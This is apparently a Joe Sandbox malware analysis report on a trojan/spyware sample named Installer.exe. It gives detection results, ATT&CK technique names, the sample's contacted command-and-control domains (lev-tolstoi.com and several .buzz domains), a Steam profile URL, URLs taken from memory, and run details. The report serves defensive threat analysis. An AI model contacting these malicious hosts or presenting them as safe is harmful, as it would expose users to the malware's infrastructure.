DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Installer.exe	34%	ReversingLabs	Win32.Trojan.Generic
Installer.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://lev-tolstoi.com/apix:Z	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/$5	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/NVmA	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/espF	100%	Avira URL Cloud	malware
http://microsoft.coc.	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/pi.W	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apim	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/S	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
cashfuzysao.buzz	unknown	unknown	true	unknown
scentniej.buzz	unknown	unknown	true	unknown
inherineau.buzz	unknown	unknown	true	unknown
prisonyfork.buzz	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	true	unknown
appliacnesot.buzz	unknown	unknown	true	unknown
hummskitnj.buzz	unknown	unknown	true	unknown
mindhandru.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high
hummskitnj.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.co	Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/NVmA	Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/S	Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.0000000003596000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://microsoft.coc.	Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.0000000003596000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	Installer.exe	false		high
https://lev-tolstoi.com/	Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Installer.exe, 00000003.00000003.1763175969.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1763272472.0000000005C97000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1785769288.0000000005C97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apix:Z	Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/espF	Installer.exe, 00000003.00000002.3522659058.0000000003512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.microsof	Installer.exe, 00000003.00000003.1763175969.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.0000000003596000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Installer.exe, 00000003.00000003.1763272472.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	Installer.exe	false		high
https://store.steampowered.com/;	Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.entrust.net/rpa0	Installer.exe	false		high
https://store.steampowered.com/about/	Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	Installer.exe	false		high
http://ocsp.entrust.net02	Installer.exe	false		high
https://help.steampowered.com/en/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/pi.W	Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/$5	Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/apim	Installer.exe, 00000003.00000002.3522783205.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://store.steampowered.com/subscriber_agreement/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Installer.exe, 00000003.00000003.1763175969.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1763272472.0000000005C97000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1785769288.0000000005C97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Installer.exe, 00000003.00000003.1763272472.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581507
Start date and time:	2024-12-27 23:12:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Installer.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/1@11/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 59 Number of non-executed functions: 170
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

